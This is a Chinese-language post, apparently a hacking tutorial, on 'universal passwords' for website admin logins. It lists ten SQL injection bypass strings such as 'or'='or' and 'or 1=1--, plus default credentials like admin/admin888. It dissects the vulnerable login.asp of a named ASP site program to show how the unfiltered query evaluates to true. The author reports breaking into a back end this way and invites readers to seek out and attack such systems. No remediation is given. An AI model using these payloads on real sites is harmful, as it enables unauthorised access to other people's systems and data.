這萬能密碼好幾年前就有了。我都不當回事,結果此次真派上用場了,還真進了後臺了
網站後臺萬能密碼就是在用戶名與密碼處都寫入下列字符,若是知道管理員賬號的話直接添賬號,效果會更好!
例如咱們要利用第一條就是:
用戶名:"or "a"="a
密碼:"or "a"="a
*********************************************************
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
原理都是利用SQL語法來利用注入,其實這也是注入的一種,都是由於提交字符未加過濾或過濾不嚴而致使的.
其實萬能是沒有的,默認是不少的,
admin
admin
admin
admin888
少數ASP網頁後面登錄時能夠用密碼1'or'1'='1(用戶名用admin等試)登錄成功。這通常也是SQL注入的第一課,原理涉及到SQL語句……驗證登錄時,若是密碼=輸入的密碼,那麼登錄成功,把1' or '1'='1帶入即「若是密碼=1或者1=1那麼登成功」因爲1=1恆成立,且「密碼=1」與「1=1」是邏輯或的關係,則整句爲TRUE,即登錄成功。這樣說懂不?
其實後臺萬能登錄密碼這個稱號真的不那麼專業,或許叫作「後臺驗證繞過語句」還好些,不過前者叫得廣泛些。
這個語句就是'xor
xor估計不少人都知道,或者據說過,不就是異或麼,他和or以及and都是同樣的,可是or進行的是或運算,and進行的是與運算,異或xor則是不等的則是真,即比較的兩個值不相同的就對,相同的就錯,我搜了一下網上,幾乎沒有過濾參數,能夠用經典'or'='or'進去的,'xor均可以進去,你們能夠嘗試一下。
對網站萬能密碼'or'='or'的淺解
'or'='or'漏洞是一個比較老的漏洞了,主要是出如今後臺登陸上,利用這個漏洞,咱們能夠不用輸入密碼就直接進入系統的後臺.它出現的緣由是在編程時邏輯上考慮不周,同時對單引號沒有進行過濾,從而致使了漏洞的出現.先給你們簡單介紹下漏洞的原理吧,只要你們搞懂了原理,就能夠本身去找這樣漏洞的系統了.
1:語句:''or'='or' a'or'1=1-- 'or1=1-- "or1=1-- or1=1-- 'or"="a'='a ') or ('a'='a等等,
2:分析利用:我從站長網站下載了"織夢工做室企業全站程序(原良精)修正美化版"源代碼,從中找到後臺登陸的頁面"login.asp"其中有如下一段代碼:
<%
(1)pwd = request.form("pwd") "獲取客戶端輸入的密碼,再把值賦給pwd"
(2)name = request.form("name") "獲取客戶端輸入的用戶名再把值賦給name"
都沒有進行任何過濾
(3)Set rs = Server.CreateObject("ADODB.Connection") "利用Server對象的CreateObject方法建立ADO組件的Connection對象"
(4)sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'" "將用戶名和密碼放入查詢語句中查詢數據庫"
(5)Set rs = conn.Execute(sql) "執行SQL語句"
(6)If Not rs.EOF = True Then "當前的記錄位於Connection對象的最後一個記錄以前"
(7)Session("Name") = rs("UserName") "將UserName的屬性賦給Name的Session自定義變量"
(8)Session("pwd") = rs("PassWord") "將PassWord的屬性賦給pwd的Session自定義變量"
(9)Response.Redirect("Manage.asp")了 "利用Response對象的Redirect方法重定向"Manage.asp"
(10)Else
(11)Response.Redirect "Loginsb.asp?msg=您輸入了錯誤的賬號或口令,請再次輸入!"
(12)End If
(13)end if
%>
從這段代碼中,咱們能夠看到後臺是採用"Session"驗證的,你們知道,還有一種是採用"cookie"驗證的,不過原理相同,從分析中,咱們能夠看到後臺登陸沒有對客戶輸入的用戶名和密碼進行任何過濾,就交給了SQL語句查詢,若是查詢的記錄是位於最後一條記錄以前,剛設置Session變量UserName,PassWord的值分別爲Name,pwd,並重定向到"Manage.asp".
從以上分析中.出現了很大的安全漏洞,問題就出如今第一,第二句,它們的功能是得到客戶端輸入的用戶名和密碼卻沒有進行任何的過濾,也不會去檢查咱們輸入的數據,這樣,咱們就能夠對其實行攻擊,要實行攻擊這種漏洞的問題關鍵就是使SQL語句的查詢結果爲真,這裏咱們又要用到or和and的邏輯運算的知識,我這裏不詳細的說,就講二點,
第一:優先原則----出現or同時又出現and時,則先運算and運算符。
第二:and運算符意思,是"且",就是對二個表達式進行邏輯"與"運算(我這兒說的是"且"),而or運算符的意思,是"或",就是對二個表達式進行邏輯"或"運算。
下面是二個運算符的運算結果:
and邏輯運算的結果:真----真===真;假----真===假; 真----假===假; 假----假===假.
or邏輯運算的結果:真----真===真;假----真===真; 真----假===真; 假----假===假.
你們本身能夠體會下
下面咱們先來看代碼中的SQL查詢語句" sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"' " ,要使這條語句執行爲真,咱們就要構造一個特殊的用戶名,就可繞過程序的驗證,進入後臺,咱們只要在用戶名處輸入'or'='or',密碼處隨便輸入字符(咱們就輸入000吧),這樣上面的SQL語句就變成了sql = "select * from Manage_User where UserName=''or'='or''and PassWord='000'"那麼where後的語句轉換成邏輯語句後爲假or真or假and假,經過簡單的運算,則最終爲真,而SQL語句的查詢結果也變成真了,這樣你們可能還不怎麼聽得懂,我換成另外一條語句:1' or 1=1 or '1'='1,那麼SQL語句就變成了sql = "select * from Manage_User where UserName='1' or 1=1 or '1'='1' and PassWord='000'"你們知道,在邏輯表達式中'1'是爲假,1=1總爲真吧,'1'='1'也爲真,而密碼咱們是隨便輸入的因此爲假,那麼where後的語句轉換成邏輯語句後爲假or真or真and假,最終的運算結果也爲真.這些你們本身慢慢的去實踐,去體會,我相信你們都會搞懂的,你們還能夠本身構造一些語句去驗證下.
對於Session驗證的,咱們還能夠進行Session欺騙(你們都知道cookie欺騙登陸了吧,呵呵),假設咱們知道這個系統的管理員的用戶名爲admin,那麼咱們只需在密碼處輸入的語句使它的運算結果爲真就好了,這兒留給你們本身構造.
coolie驗證的登陸原理和Session"驗證的相同,只要你們構造的語句使的SQL的執行爲真就好了,這是關鍵喲,你們可記住了!sql